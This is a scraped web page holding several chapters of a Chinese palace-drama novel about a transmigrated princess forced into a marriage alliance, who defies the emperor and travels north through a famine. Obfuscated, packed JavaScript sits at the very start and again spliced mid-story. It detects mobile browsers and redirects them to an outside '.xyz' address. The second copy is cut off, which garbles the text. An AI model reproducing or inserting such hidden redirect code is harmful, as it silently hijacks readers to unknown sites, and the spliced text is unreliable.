;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241902|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼直勾勾地盯着她,声音放轻,却冰凉黏腻如同一条布满鳞片嘶嘶吐信的毒蛇缠绕上来:“这里是凤仪宫,文武百官和天下人听不见本宫说什么。 你往日倒是乖觉连头都不冒一个,本宫差点没想起你来,得亏有人提醒了本宫,今日这么一看,你不知本宫有多开心你和李平言长得像,有李家血脉的如今就剩你了,你替我儿和亲去死,那就是你的福气!你就死在北鞑永远都别再回来了,让你娘和整个李家都死不瞑目吧!你且放心,稍晚些本宫就去见圣上,他会同意的,话说回来该给你拟个什么封号呢?” 又像是忽然想到了什么有趣的事一般孙皇后畅快地笑出了声:“李蕤竹啊李蕤竹,你说你,机关算尽不惜用自己的命最后还摆本宫一道,就是为了保下你女儿让本宫动她不得,原是让本宫恼恨不已,呵呵,没想到吧,今日倒是方便本宫用你女儿替本宫的女儿去送死了,没有比你女儿更适合和亲北鞑了,本宫还真是要谢谢你,如若当初你带着你女儿一起去死就也没有本宫今日这番畅快了!” 孟书渺被抬着下巴掐着脸被迫和孙皇后贴脸互瞪,她从穿越来这里开始就是原主被人溺毙在了荷塘里,背后始作俑者就是皇后,这十年间皇后阴损招数不少,早年的手段都是冲着要她命去的,也一直是有眼线在监视着她,包括门房蔡老太监,孟书渺被巽娘护着活得小心翼翼,后来随着时间慢慢推移,皇后大概别的重要业务繁忙,渐渐淡忘了她这号无足轻重的人物,底下的人便也开始惫懒,她才好过了一点,悄悄开始谋划出宫逃离。 巽娘也从未提起过,原来不光是她活得小心翼翼就够了,而是有个母亲很早之前就已经以命相护了,只是真正的岁宁早就死了,还是被害死了…… 看着面前涂着口脂殷红开合的唇,孟书渺在心中思忖若是此刻朝着孙皇后脸上吐口唾沫,她是会杀了她还是继续留着送她替嫁和亲。 孙皇后快了孟书渺的想法一步,松开了手,直起身对边上的宫人吩咐道:“把西侧偏殿收拾出一间空屋出来,这段时日就让五公主在本宫这儿安心住下吧!” *** 皇宫东侧偏殿宜兰居。 一个宫婢低头步履匆匆闪进宜兰居后关上大门,快步走进内室,又掩好门。 洒金般的夕阳斜映进屋,将窗边做针线的两个人影依偎拉长。 宫婢走到走至近前,低头与其中女子附耳低声道:“事成了,翠香说她今早洒扫前院时看见万总管亲自去西巷带回人进了凤仪宫寝殿,虽不知里面发生了什么,但翠香留心看着五公主从皇后寝殿出来后就被带去了偏殿没有再被放回西巷,眼下那个偏殿被皇后的人严密把手着。” 那女子穿了一身泛旧的靛青袄子,清秀的面容上有些许岁月流走的痕迹,闻言,她正在穿针的手一顿,而后轻轻应一声:“……好,成了便好……” 而后便沉默了下来,不知在想什么,怔忡片刻后又翻动手腕对这手里的那块皮子开始熟练缝线,声音依旧很轻:“北地苦寒,出了嘉兰关更是荒沙蛮夷,我们无甚贵重物什给她作添妆,趁使团抵京还有些时日,且再多给她做几身厚实合身的衣物,这红狐皮子是前年太后赏的,便拿来给她做身大氅吧,总好抵御两分寒气……是我们对她不住,来世当牛做马以偿还这孽债……” “阿娘……”女子身旁与她有几分相似的少女咬着唇,终是欲言又止地唤了一声。 靛青袄子的女人视线没有离开手上的针线,仿佛陷入了自己的世界一般继续喃喃自语:“鬼……都是鬼,我也是鬼,我们都是鬼,这世道外头人吃人,深宫之中鬼吃人,人活不下去啊,我只能变成了鬼也去吃人……” 13.第 13 章 孟书渺被关起来了。 就关在凤仪宫后院一个偏僻小杂物间里,除了一扇从外上锁的门,就只有一扇她踮脚都够不到的小窗子,外头偶尔会想起轻微的窸窣声,猜测看守人不止三两个。 为防止她闹出幺蛾子来,屋子里能收的物件都收走了,整个逼仄却空荡的房间只有一席铺在地上的床褥子。 窗外日升日落,从她被关进来到现在已经过去七天了,今天是第八天。 这期间,除了每天定时送进来食水,没有其他的动静,孟书渺在昏暗中静得心慌。 心慌归心慌,但不得不说一句凤仪宫是真有钱啊! 即便她看不见外面,到了晚上从那小窗子外透进来的火光和炭火燃烧发出的哔哔啵啵声就可以大致猜出炭盆子摆得不少,白天这小屋光线昏暗,晚上那些火光反倒让人晃眼睡不好觉。但也是因为炭火摆得足,虽然只有一床褥子,确实不怎么冷。 约莫是怕她身体太拉跨死在和亲之前,她发烧时还给叫了太医来瞧病,来的还是太医院院正,之后雷打不动每天一副苦药随着饭食一起递进来。 孟书渺将所有饭食和汤药都吃得干干净净,现在暂时他们想她活着,她自己也想活。 有气无力地将自己裹紧在那床厚褥子之中,正闭眼休息顺道思考接下来该怎么办。就在这时门口传来响动,锁扣叮当,孟书渺闭着眼动了动耳朵,她算着时间这会儿应该给她送药来了,过去七天每天这个时候外面都会送进来一碗汤药。 “里头那位需七日复诊一回,只院正今日吃坏了肚腹,便命下官前来替他走一遭,不知几位公公可否?” 听见这陌生的男声,孟书渺睁开眼望去,一个穿中年太医身后跟了一个手提药箱的医女还有一个凤仪宫太监。 中年太医走至跟前,蹲下身对孟书渺略一颔首,“五公主,烦请伸出腕来。” 孟书渺听话地伸出了手。 那太医并指搭在孟书渺腕脉出,安静诊脉,然后逐渐皱起了眉头,突然很响亮地嘶了一声,吓了孟书渺一跳。 就见这太医一脸沉思状用手拨着她的头左看右瞧,声线提高:“公主似有血疳之兆,风寒外袭致体热高烧,加之本就体弱多病,高热引至血虚血燥,热毒之气客于腠理,与气血相搏而生①,六淫外感气血失调,发斑初如粟米绵细,无感无染,若不见疗理,则渐成肿顽,破脂流脓血,恐有性命之忧啊,不知公主可似身上有感?” 啊? 孟书渺有些傻愣了,文言文版的医学专业术语理解还是蛮困难的,唯一听懂的那句就是“恐有性命之忧”。 太医却好像等不及病人的回答,转身对那端药进来的凤仪宫内监虚一做礼,面露严色压低了声音:“公公您瞧这……需除了衣物全身检查,若不及时查诊,怕有性命之危,眼下这情形,圣上不日便要下旨,北鞑那边的脸面怕是……五公主毕竟是圣上亲女,受不得辱,不若你我出去稍等片刻,让这医女替公主仔细检查是否染了血疳,若公主有何闪失,今日你我必都难逃一死……” 说着他还沉着脸用手在自己脖子前比划了一下。 那凤仪宫的内监脸色有些发白,他看看地上一脸病容的五公主,再看看太医焦虑的神情,略一沉思后点了点头后转身带头朝门口走去。 太医对着那一直低头的医女说了句:“你且仔细查看公主全身,记得动作快些。”随后便跟着内监走了出去。 门被再次合上,屋里就剩下孟书渺和这身形有些熟悉的医女,她似一下想到了什么,撑着手急忙坐起来,急切又小声地喊了声:“姑姑?” 医女急忙冲过去,跪地将她扶住,“莫急莫急,当心哮喘。” 孟书渺仔细打量眼前的人,应是用心画了仿妆,肤色黑了许多,脸型也打了阴影做了改变,换了眉形涂了口脂,样貌与巽娘并无几分相似。 孟书渺心跳加速,强自压低了声音:“凤仪宫全是皇后的人,姑姑你进来可有被人察觉?” 巽娘没回答,摸上孟书渺的肩膀,感受手下肩胛骨嶙峋凸起的骨感,声音很轻:“我将树下的那匣子挖出来了,这一回,怕是再也无法将它埋回去了……” 孟书渺微愣,西巷歪脖子树下埋的那个匣子是李贵妃生前留给女儿最危急关头保命用的,早前她快病死那会儿巽娘挖出来动过那匣子一次,这事只孟书渺和巽娘两人清楚内情,但匣子里到底装了什么,唯巽娘一人知晓。 “岁宁!”巽娘忽然双手握住孟书渺的肩膀使两人视线相对,她压低的声音仿似有千钧之重:“章太医只能拖延片刻,我且长话短说,你听好,接下来我所说的每一字话你都牢记在心—— 姓孙的把你的画像递入了鞑子的使团,使团首领乃北鞑王心腹,他已同意换嫁和亲,皇帝也点了头,不日便会下旨,此事已成定局,我们只能在和亲途中伺机而动。待宣了和亲圣旨后就算为了皇室颜面,他们也是要装模作样善待你几日,你务必要放宽了心好好吃饭养病,尽力将身子骨养结实些,岁宁你是个聪明的孩子,这期间皇后和礼部要为你做和亲备嫁事宜,你便适时提出你身子骨弱要惯常服侍你的杏芽和春山来伺候你随你同去北鞑,他二人若是留在宫中到时也必是死路一条,就让他们陪着你一起逃出去吧……” 孟书渺打断巽娘的话,急切道:“那姑姑你呢?你难道不随我们一起吗?” 巽娘面色从容,浅淡一笑:“那些人眼中,杏芽和春山无足轻重,你带走便带走了,我不一样,我是留在宫中让你安分上路的筹码人质。” “可是……可是若你留下,待我们半路逃走后,你会死的,姑姑你会死的!”孟书渺努力瞪着蓄泪的眼眶。 巽娘温柔了抚了抚她额前凌乱的碎发,忽然转了话头:“若成国公府还在,阿宁你或许该唤我一声舅妗。” 巽娘原不叫巽娘,也不是成国公府的女婢,她本是北地人,幼年时北鞑攻城南下屠杀了她的亲人和村人,黑甲军追击北鞑人时救下了她,见她实在聪慧可怜,李平言的夫人便将她收作义女养在身边,她与李家三郎年岁相仿一道长大,青梅竹马知慕少艾,李氏夫妇也乐见其成,但本该在弱冠那年姻缘美好的李三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巽娘却只是微笑,看向面前这个姑娘的眼中有一种平静的悲伤:“阿竹怀岁宁时在宫中处境艰难,是我接生的,岁宁从来到人世间那么血糊糊的一团开始便是我一点点养大的,是不是她我又怎么会辨不出,她应是早已同她母亲在一处了,也好,不用留在世间受这等苦楚,只是让你替她受了这么多年苦,实在对你不起。你唤我一声姑姑,这是我最后能为你做的,我只是想在临别之际唤一声你本名,也好叫我不留遗憾。” 眼泪就像断线珍珠不停滚下,擦也擦不净,孟书渺哑声道:“我姓孟,孟书渺,知识无洲,书海浩渺,我爸……我父亲取的,他期望我能成为一个好学问爱读书的人。” 这次,巽娘是真心实意地笑了,“看来你真正的父亲是个好父亲,他很爱你,真好。” 从她平常不经意间的自我流露,便能猜到这原本是个被爱包围着期待着千宠万爱长大的姑娘。 “姑姑……” 巽娘摸了摸孟书渺的鬓发最后说道:“书渺,走吧,逃出去,从此海阔天空,不再是李岁宁也不是五公主,做孟书渺想做的事去罢!” 说完她直接起身快步朝门口走去,再也没有回头。 14.第 14 章 孟书渺又被关起来了。 如巽娘所预料的那样,在她们见过面的第二天,和亲圣旨就下来了。 大抵是所有人的视线都集中在了她身上,孙皇后也不好显得太过苛待,于是孟书渺很快就从凤仪宫的杂役房搬了出来,被安排住进了离凤仪宫不远的芳华殿。 换了个地方继续关着,但芳华殿里的条件确实要好上不少,一应起居器物俱全,连地暖都给她烧上了,生怕她冻出个好歹,依旧有太医每隔两日来给她问诊看脉,还给配了六个孔武有力的嬷嬷在她所居住的寝室内虎视眈眈地不间断轮流看守她。 但不得不说,这算是孟书渺穿越来的这十年间过得条件最好的一段时间了,她牢记巽娘的话,认真吃饭睡觉,尽自己最大的努力把自己养好,配合上太医开的药,这次伤风发热的症状倒比以往都好得快,荤素搭配营养均衡的饭菜一顿顿吃进肚中,很快就不再是之前虚软得连脚都站不住的状态,甚至面上都起了些血色。 看管她的那几个嬷嬷私下议论,都道这五公主也是个心大还蠢到没边的,都快被送去和亲送死了,换个公主怕是早已以泪洗面人茶饭不思人比黄花瘦了,这位倒好,还有心思吃好睡好要这要那,大抵是被关在西巷那鬼地方从没见过世面。 可她们不知,那是因为人在已无他路可走的境地之下,最后那一条路成了她活下去的全部希望。 这样的日子也没几天了,她必须抓紧时间,尽自己最大努力吃饭喝药养身体,只希望能在这有限的日期内尽量让自己变得壮实一些,至少等到需要逃跑的时候她能有力气跑得动。 身体状态改善了,夜晚也能睡个安稳些的觉了,只是依旧多梦。 这些天不知为何她开始频繁梦到自己在现代时的一些场景,比以往都要频繁。 她梦到曾经的自己,很小的时候妈妈给她扎漂亮的小辫儿,背着书包爸爸送她上学,上课太困和同桌互掐大腿,全家人一起围在电脑前商讨她填报大学志愿,哥哥工作出差顺道去学校看她,教授在讲台上点名喊她回答问题,和男朋友吵架两个人隔马路站着死犟谁都不走,和室友一起讨论去哪儿毕业旅行,马路边捡了只小流浪半夜哈欠连天地用针筒给猫儿喂奶…… 穿越十年,明明记忆中的很多细节都在时间侵蚀下渐渐模糊,但在最近的这些梦境中她却越发清晰地能回忆起这些细节。 除了曾经的回忆,有时候还穿插一些模糊奇怪的梦境,就像那天还在西巷时做的那个怪梦一样,她隐约间还是能听见有人在哭,男人在哭,女人在哭,她记不得到底是谁在哭,却总有种奇异的感觉好似有人要撕破这些围困着她的光怪陆离看不清面貌的画面来到她面前。 好在这些梦境似乎并没有消耗孟书渺的精神气,醒来后也不觉得累,每天除了吃饭睡觉喝药养身体外,她就只能一遍遍数着日子。 她不知道和亲启程的日期是什么时候,也不晓得婚礼到底是怎么筹划准备的,和亲圣旨没有提及,也没有人来告诉她,就像引颈待戮的羔羊,只能安静等待着豺狼分食她血肉的那天到来。 在她被关芳华殿的第二十三天,晨时,天都还是黑的,一片寂黑之下,芳华殿寝室的门被人从外暴力打开,涌进来一群面无表情的宫人,两个膀大腰圆的嬷嬷将孟书渺粗暴地从被窝里拖出来,几个宫女便不由分说地开始给她洗漱、绞脸、梳头、上妆,最后套上层层叠叠是嫁衣。 那繁复的公主嫁衣,最外的翟衣霞帔绣着雉鸡,看着是何等尊贵威仪,沉重的金凤翟冠像一把无法挣脱的枷锁一样最后往头上一戴。 凤仪宫的熟人万公公站在门口手中拂尘一甩,懒洋洋地对着孟书渺做了个请的姿势,掐尖了嗓子似笑非笑一语双关:“时辰到了,恭请五公主上路,请公主前往谨身殿拜别帝后。” 孟书渺蜷在袖中的手,掌心已经汗湿,她深吸一口气,昂首抬步跨出门槛,终于是到时候了,她要为孟书渺也为李岁宁挣一挣命。 谨身殿是前朝宴请外藩及后宫皇嗣嫁娶赐宴之地,那万公公来时路上告诉她要在谨身殿行陛辞礼聆听训诫,对帝后行拜别大礼,而后和亲队伍随朝贺北鞑使节直接出发。 孟书渺不大清楚和亲公主出嫁的一系列婚仪流程,但巽娘曾经和她提过正常公主出降至少需要一年半载的准备时间。 谨身殿正前已经站了许多人,有侍立的宫人、内廷卫,穿着各色袍制的官员,间或还有一些异族穿着打扮的北鞑人,这些人见她到来,目光皆落在了她身上。 孟书渺目不斜视一步一步朝里走。 谨身殿里头人也不少,她走到大殿正中央的空地处站定,目光在在场众人身上一一扫过。 大殿里头人倒不多,那些朝臣都在殿外候着,这算是公主离家前最后的告别仪式,殿里除了几个侍候的宫人,就是几个高位妃嫔,几个宗室的皇亲国戚,还有一个一脸络腮胡的北鞑使臣,太后倒是没有到场。 最上首正中高处位置站着的那对男女,冕服凤袍,天威凛凛威仪棣棣。 孟书渺头上压着沉赘的翟冠吃力仰头看着两人,皇帝一如既往面容肃然帝王威严神圣不可侵犯,皇后那张国泰民安的脸挂着得体典雅的笑容。 早已候位多时的礼部官员出列挺胸仰头用洪亮的声音开始唱词:“时维隆明二十二载,帝继天命,抚育万邦,夏夷君恩眷殊,是为以宁疆尘永结盟好,今以静安公主高贞顺出降戎鞑忽利可汗,导以礼乐永绥边圉……” 孟书渺抓重点听了一些,不客气地撇嘴轻嗤,切,静安公主……她还徐汇王子呢! 静安公主,高贞顺,生物学父亲给起的这个名连被起名的本人今天都是头一次听说,静安贞顺,单独每个字都有它自己美好的含义,但组合在一起,任谁都能品出这其中的讽刺,这是在警告她安静闭嘴老实听话。 “……秦晋之好,如圭如璧,今静安公主奉命远嫁,敦睦邦交,惟愿圣恩昌隆,大卫国祚长绵,特许公主临行入番拜别跪叩圣恩——” 祷词的官员清清嗓子加大音量再次喊道:“特许公主临行入番拜别跪叩圣恩——” “圣恩嗯嗯嗯嗯嗯……” 祷词官拉长的尾音在房梁之上缠绕盘旋,他斜眼看向孟书渺,眼睛都快抽筋了,再次加大嗓门:“静安公主临行入番拜别跪叩圣恩——” 一阵窒息的安静过后,在场的人便开始有了窸窸窣窣的骚动,祷词官额头冷汗滑下,咽了口唾沫感觉自己嗓子要冒烟了:“静安公主拜别跪叩陛下——” 孟书渺站得笔直,就这样站在在场所有人的视线中央,抬着头和皇帝冰冷的目光对视着。 “哈哈哈,真是有意思!卫朝的皇帝陛下,看来你的女儿对和亲我部族很有意见,不愧是李家女人生的女人哈哈哈,你们卫朝人说我们野蛮,自己最爱搞的那一套什么君君臣臣父父子子的看来也有不管用的时候啊哈哈哈!” 北鞑使臣突然开口,怪腔怪调说着不甚熟练的大卫官话,满是嚣张,大胡子抖动笑得狂放。 明帝的脸色早已黑沉下来,作为帝王的权威当着这么多人的面岂容被接连挑衅,动不了北鞑的使节,一个尚未和亲出嫁的公主……呵!还真以为拿她没法子了吗? 帝王甚至都不需要有动作,只一声冷笑一个眼神,侍立在旁的内侍总管立刻领会其意,上前两步,朝两旁几个年轻力壮的内侍一挥手,几人上前,架胳膊的架胳膊,摁头的摁头。 这些人是有些手段的,抬手一个巧劲打在孟书渺的膝弯处,她便感觉双腿无力顺着这些人的力道弯了双膝,膝盖重重磕在冰冷坚硬的地砖上,有一只手死死钳在她的后脖颈上,摁着她的脑袋往下压,就这样她活脱脱一个提线木偶一样下重复下跪磕头再提起,硬是完成了三跪九叩之礼。 内侍们松开了孟书渺,低头退回原位,孟书渺一手撑地咬着牙站了起来,发冠都有些松脱了,她平静地与明帝对视,眼里看不到尊崇也没有惧怕,只是平等静对视,不闪不避。 生杀予夺的上位者,睥睨一切,他眼中的蝼蚁又怎配与他平等而视。 明帝面无表情声寒如冰:“你,不满朕的旨意?” 这大概是自李岁宁出生以来这个生物学意义上的父亲第一次面对面和她开口说话。 帝王无形的威压强势使得偌大的的谨慎殿里此刻落针可闻,所有人个个缩头如鹌鹑。 只有北鞑使节在继续拱火挑衅:“卫朝的皇帝陛下,虽然你的女儿对你的旨意不满,但她即将成为我们可汗最宠爱的阏氏,这是不能改变的。” 听着耳边北鞑使臣的话,孟书渺依旧与明帝对视,目光中却多了抹嘲讽,听到没有老登,我就是对你不满,但你现在能杀我吗? 明帝垂眸睨着场中央那身形瘦小的女孩,这是他第一次将这个从出生就被他厌弃的女儿看进眼中,沉声道:“你是我大卫的公主,受万民供奉食禄,固邦交化兵戈,奉命和亲以惜己身,这是你要为万民所出的回报,以敬高氏帝姬之责。” 受万民供奉? 我吗? 孟书渺顿时怒从心头起,她深吸一口气盯着上头的皇帝,张嘴就如是石破天惊的呐喊:“你、放、屁!” 这三个字犹如一记响雷轰隆隆砸下,炸得在场的人汗毛直立。 在场的人不多,但都是和皇室有点子血脉关系的,也都算是见识过风浪的,这会儿倒是有一个算一个纷纷倒抽一口凉气,好家伙!真真是好家伙!这个五公主,从前不显山露水,没成想竟是个猛人啊!如此场合,竟然就这么水灵灵地把天子……骂了,骂了!骂了! 有人望天有人看地,有人恨多长了两只惹事的耳朵,这种鬼热闹是能随便能听的吗? 就算是皇室宗亲那也是是要出人命的! 孟书渺却不管,她就像游戏只剩一点残血时最后一波攻击输出:“谁?谁!哪只狗眼睛看到我受万民供奉了?啊?谁看见了?我是打哪儿长大的都心里没点数吗?” 她带着询问的目光将在场众人扫视一圈。 在场的人没有一个人敢对上静安公主的目光承认自己是狗。 这……这这可真是前无古人后无来者的当今第一猛女啊! 欣贵妃今日也来了,她郑家近些年才因她的得宠而崛起,与曾经的李贵妃及五公主都没什么恩怨,只当冷眼旁观。这会儿她就站在皇帝右侧往后靠边些的位子,能清楚看到明帝帝冕帽檐压着太阳穴的位置蜿蜒出一根青筋正在突突地跳。 她看看站在前方的明帝,再侧目看向那场中央正被所有人视线灼刺的那个女孩,只觉得那鲜红的公主嫁衣有些晃了她的眼,郎朗清脆的声音字句清晰传入耳中—— “若真是受万民供奉者得行庇佑万民之责,那今日站在这里的必不该是我,鞋缀东珠身着金衣的不是我,牛乳净手的也不是我,路有冻死骨却用炭暖花只为花香熏身的更不是我,明明是自私自利、刻薄寡恩、恃强凌弱、无才无能之辈,却还要扯了天下大义做遮羞布,岂不可笑!得天下税赋供养的第一人就是皇帝陛下您啊,圣上自诩爱民如子,为什么您不牺牲自己去和亲做北鞑?怎么,是不喜欢吗?是嫌北鞑可汗太老了不想做他的阏氏吗?” 死寂。 这下殿中真是一片死寂,有宫人已经跪下来瑟瑟发抖了,见有人跪了,便渐渐地跪倒了一大片,埋头闭耳当自己不存在。 那嚣张的北鞑使臣都瞪大了眼睛微微张圆了嘴巴。 欣贵妃收回视线悄悄看向明帝,她感觉圣上已经到达忍耐的极限了……于是,低头敛目,不动声色地往后退了两步。 天子一怒,骇人的威严和杀意如有实质铺天盖地袭来,帝王的颜面是不容一丝一毫的亵渎的。 明帝此刻是真动了杀心,他女儿多的是,可不止这一个能嫁人。 在场的都是人精 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方才听那番到什么“牛乳净手”的言论时孙皇后就想叫停了,她也气得牙痒痒,这个小贱人,和她那个娘一样可恨难缠!都到了这地步了,还想做滚刀肉攀咬她女儿一口。 和明帝夫妻几十载,孙皇后就站在他旁边,第一个察觉到明帝的杀意,她必须站出来阻止眼下的事态发展。若是真让皇帝在盛怒之下不管不顾杀了这小贱人,那么她的宝安就危险了。 她心中明白,她的丈夫其实没有多少在乎究竟是哪个女儿去和亲,在他眼中哪个女儿都一样,只有有用和无用之分,哪个女儿是死是活,他其实都不在乎。 见明帝还是面色阴沉,孙皇后一咬牙关决定立刻快刀斩乱麻,她朝万公公隐秘地使了个眼色。 万公公微一颔首表示会意,他走到那跪在地上已经快要把自己埋进双膝的祷词官跟前,不轻不重地提醒道:“张大人,时辰已到,该祝词送公主车架启程了,公主和亲事关国体,莫耽误了良辰吉时误了国运呀!” 说着又压低声音催促道:“若陛下盛怒之下真杀了五公主,那就收不了场了,到时候今日在场的人有谁讨得了好?趁陛下尚未发作赶紧收场,你照我说的做,自有娘娘替你们担着!” 倒霉的张大人颤巍巍抬起头看一眼高堂上位的皇后娘娘,再悄悄看看旁边像马上要浮尸百万流血千里的皇帝陛下,两眼一黑又一黑。 他眼一闭牙一咬,哆嗦着站起身,用他那怕得有些走调的声音唱道:“山川悠远,日月同辉,金石永固,善哉!礼毕,恭请静安公主启程!” 张大人简短说完,把能省的话语都省略了,为这次和亲他们礼部在短短二十多天的准备时间里忙得脚打后脑勺,能省的流程都省了,就怕中间闹出幺蛾子,千算万算,临到头了还是出了这么一桩掉脑壳的事。 张大人那个悔啊,以为祷词又轻松又能在圣上面前露个脸,拼命使了银子给自己上峰才抢到的活,现在可能要成为他官场生涯的坟墓了,说不定命都要被牵连进去了。 万公公走到孟书渺跟前,躬身对她拜了个请的姿势,姿态恭敬,但那只有他们两人能听到的话却是:“五公主,莫要在意气用事了,想想留在西巷的人,快些出门上驾撵出城去罢。” 冷冷地盯着这白面太监看了片刻,孟书渺提了提裙裾,一言不发转身往殿外走去。 见她走出门去,万公公急忙命一众宫人跟上,他也跟随上去,打算亲自把人送上马车。 可谁知,人往外走了还没几步,脚都还没跨出门槛,这人就又停住了,背影一顿,然后又缓缓转回身来。 饶是在宫中沉浮半生的万公公见状也不禁眉心狠狠一跳,呼吸都窒了窒,这虎婆娘还要做什么? 此时殿中原本因着公主和亲队列出门而稍大着胆子抬起准备目送的殿中众人,就见那静安公主,缓缓抬起右臂,露出那只略显苍白纤细的手,先是紧握成拳,然后对着上首位置帝后的方向缓缓的竖起……一根中指。 所有人:??? 比完中指孟书渺就立刻收回动作放下手,转身快步继续朝外面走去,她不想给皇帝往不好的方向猜测竖中指含义的时间,这老登的怒气值已经到了临界点了。 留下殿中一群满头雾水的人。 明帝脸色已经不能用难看形容了,像是随时都有可能暴起。 皇后也被气得仰倒,但她还要挨近旁边的人,随时关注,生怕皇帝把那小贱人喊回来将人砍成两段。 倒是再边上些的欣贵妃,一直不做任何声响,只是一直看着那朝外远去的背影,一直看一直看,直到那背影消失…… 这厢孟书渺出了谨身殿,站在外面的人不清楚殿里发生了什么,目送那瘦瘦弱弱像小孩套了大人不合身衣裳一般的五公主捞着嫁衣宽大的裙边雄赳赳气昂昂地从经过,朝殿前远处的宫道走去。 宫道上走了没多远,孟书渺便看到了已经准备妥当停在那里等她启程的和亲车队,宫人早已站列待命,拖拉公主车辇的马儿也有人握着马鞭拉着缰绳随时等待着,好像就等把她往车上一塞就立刻撒丫子奔出宫去。 孟书渺走到马车前站定,转身看向跟随而来监督她上马车的万总管。 “万公公。”孟书渺朝万公公扬了扬下巴,“告诉皇后,就说我不习惯陌生人贴身伺候,我要我在西巷用惯了的那三个人同在和亲名单中,在出城前我要在和亲队伍中见到他们三人,如若不然此去北鞑路途漫长,当心你们的宝安公主随时顶上。” 闻言,万公公也不敢以往那样像看杂碎一样倨傲轻慢的态度,他微微躬身颔首表示听到了:“是是是,咱家上后便去向皇后娘娘禀明,五公主您还是先上车吧。” 这就是个彪子,经过刚在那足以记刻进史书的一笔,没看到就连圣上和娘娘都受不住嘛!眼下这节骨眼上要是又惹了她,他万公公可受不住,还有再不走,他怕谨身殿里头的圣上要追杀出来了! 15.第 15 章 孟书渺上了马车之后,整个和亲车队就跟屁股后头被狗撵着似的直往外冲。 出了宫门,便算是外面的世界,孟书渺穿越而来十年的时间,这是第一次有了亲眼见到宫墙外天地的机会。 环绕皇宫的内城是权贵住宅区,朱雀大街的积雪被清扫在两旁,车驾的马蹄儿在平整的青石板地面哒哒的响声,一路平坦顺畅,路面平整宽敞,街道两旁殿阁楼宇鳞次栉比,古色古香,街上的行人衣着都是鲜亮考究的,看着也厚重保暖。 出了内城,外城就是平民百姓的生活区域,这里房屋建得低矮拥挤,平整些的是砖房,有些甚至还是土胚的,道路泥泞,积雪混着不停踩踏的脚印,整条路都沾满泥浆。道路本就不宽敞,路边各种人、推车、驴子骡子、框担混在一起,杂乱拥挤,这要是搁现代肯定要消防城管联合大整治。 这里的百姓穿得灰扑扑,很多人衣服上都有补丁,精气神明显没有内城的好。 待到正式出了卫京城,原本不在和亲队伍名单中的杏芽和春山赶上了大部队,只是没有巽娘。 正如巽娘自己之前预料的,她被当做人质留下了,孙皇后最终还是没有放她离开。 杏芽和春山带了皇后的话,大意就是能让孟书渺带上杏芽和春山已经是皇后给了极大的脸面,巽娘是不可能放的,若她在路上真的要闹,那就好好想想巽娘的命。 临出发前闹的那一场看似鲁莽,其实在被关的那段时间里孟书渺已经在脑海中推演了许多遍,原本想着试试看说不定能将巽娘也一并带走,果然还是不行。 “公主,我们真的就要这样去北鞑了吗?我听说……听说北鞑蛮子肉都吃生的,喜欢杀女人和小孩吃。”春山缩在孟书渺身边,对前路充满了未知的恐惧。 孟书渺看了眼跟尊门神一样坐在车厢门口的那个黑脸嬷嬷,这是皇后派来看着她的人,所以现在不好多和春山说什么,只是拍拍他的脑袋安慰他。 一路上,她在私底下让杏芽和春山都悄悄藏了一些易存放的馍饼子,她们出发时两手空空,外面现在又到处在闹荒,必须要以备后患。 等真正离开了京畿范围,外面场景和卫京城内所见的完全就是割裂的两个世界。 队伍走在北上的官道上,放眼望去满目焦黄的土地盖着苍白的雪,望到尽头都不见一点生机之色。 远处的山一样光秃到看不见一点生机绿色的痕迹,目之所及之处没有一根立着的树木,别说剥树皮,连树都不剩了。 有些路旁开阔地带有许多逃荒的流民聚集,由此孟书渺见到了不管是在现代还是在西巷的那十年都从未见过的惨烈景象。 已经不能用筚路蓝缕来形容这些逃荒的流民了,一个个黝黑枯瘦皮包骨辨不清面容,还有未着寸缕像干尸一样的人倒在路边,不知生死,她甚至还眼尖地看到了乱石堆边散落的白骨。 见到有车队过来,这些看不清面容的灾民有空洞麻木像就是在等死的,也有眼神饥饿如野兽死死盯着车队的,但碍于队列里持着冰冷刀枪数量众多的军士威慑,无人敢上前来,只是目光紧紧追随车队从自己眼前经过。 空气里有腐烂和酸臭味飘散。 孟书渺坐在车里,眼看着从一个灾民聚集点经过,那中间架了一口破锅,锅里咕咚咕咚地冒着热气,有几个像骷髅架子一般的灾民就围在锅旁。 一个蓬头垢脸的女人忽然冲出来拦到车队中间,跪下来就开始砰砰磕头,没几下额头便磕破了,尘土污水混着血水流了满脸,她指着旁边一个头大身小肚子却很鼓的小孩呜哩哇啦地哭喊着什么。 队伍中有高壮的军士出来厉声呵斥让女人滚开,女人不闻只一味磕头,军士上前就朝着女人的脑袋用刀柄一杵子砸了下去,鲜血顺着脑门汩汩而下,哭喊声戛然而止,两个军士拖着瘫软的女人丢回路边,伴着孩子撕心裂肺的哭声。 一把撤下车帘,孟书渺屏住呼吸抚着心口,强忍住了翻涌作呕的感觉,她紧紧握住旁边杏芽的手,整个人都在微微发抖。 曾经见过史书上寥寥几字“岁大饥,人相食”的背后,就是这样触目惊心的悲怆。 这个世界真的让人受不了。 和亲队伍要去云州的驿站休整,明明已经开春,却还是刺骨的冷,时不时就会下上一场大雪,大雪封路耽搁不少时日,马车一路摇晃,孟书渺被颠得差点散架,到达云州驿站时比预计到达日期迟了小半个月。 她心中也隐隐焦急,已经走了这么久,过了云州之后差不多出了中原就是北地范围,可到现在为止还是没有巽娘说的人来联络过她。 这个队伍明里暗里有很多皇后防止她逃跑安排的人,最开始她还吃那黑脸嬷嬷端的饭食,但吃了几次以后发现自己身体变得虚软无力行动困难,察觉到不对劲后她再也不肯吃了,让杏芽和春山去负责安全护卫的护军那里要吃的,等那些军士们吃了才拿回来她们三个吃。 